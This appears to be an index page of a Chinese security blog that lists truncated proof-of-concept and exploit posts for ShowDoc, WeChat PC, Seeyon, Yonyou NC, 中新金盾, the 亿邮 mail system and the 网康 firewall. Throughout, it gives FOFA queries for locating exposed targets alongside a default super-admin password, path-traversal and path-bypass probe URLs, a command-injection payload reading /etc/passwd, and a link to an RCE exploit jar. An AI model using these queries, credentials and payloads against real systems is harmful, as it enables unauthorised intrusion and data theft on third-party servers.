0x00 前言
ShowDoc 是一个非常适合 IT 团队的在线文档分享工具，它可以加快团队之间沟通的效率。
0x01 fofa语句
app=”ShowDoc”
0x02 漏洞复现
POC：
P...
Adminxe
2周前 (04-25) 197℃ 0评论
14喜欢
0x00 前言
近日，网上披露微信客户端存在远程命令执行0day漏洞。黑客只需要通过微信发送一个特制web链接，用户一旦点击链接，微信PC(windows)版进程wechatweb.exe会加载shellcode执行，整个过程无文件落地，无新进程产生，攻击者可以直...
Adminxe
3周前 (04-17) 898℃ 1评论
12喜欢
描述
系统存在默认弱口令，登录身份为超级管理员。
FOFA： title=“中新金盾信息安全管理系统”
影响范围
全版本
POC & EXP
admin/zxsoft1234!@#$
转载请注明：Adminxe's Blo...
Adminxe
3周前 (04-17) 184℃ 0评论
4喜欢
描述
判断是否存在漏洞
http://xxx.xxx.xxx.xxx/seeyon/thirdpartyController.do.css/..;/ajax.do
如果出现下面的结果可能存在漏洞
出现异常：java.lang.NullPointerExcept...
Adminxe
3周前 (04-17) 219℃ 0评论
4喜欢
描述
用友ERP-NC 存在目录遍历漏洞，攻击者可以通过目录遍历获取敏感文件信息
fofa：app=”用友-UFIDA-NC”
POC & EXP
http://127.0.0.1/NCFindWeb?service=...
Adminxe
3周前 (04-17) 299℃ 0评论
5喜欢
描述
fofa body=”亿邮电子邮件系统”
POC & 利用
POST /webadm/?q=moni_detail.do&action=gragh
type='|cat /etc/passwd||'
...
Adminxe
3周前 (04-17) 286℃ 0评论
4喜欢
描述
fofa app=”网康科技-下一代防火墙”
利用
利用jar包： https://github.com/Yang0615777/PocList/blob/main/QiAnXin-WangKangFirewall-RCE...
Adminxe
3周前 (04-17) 363℃ 0评论
4喜欢
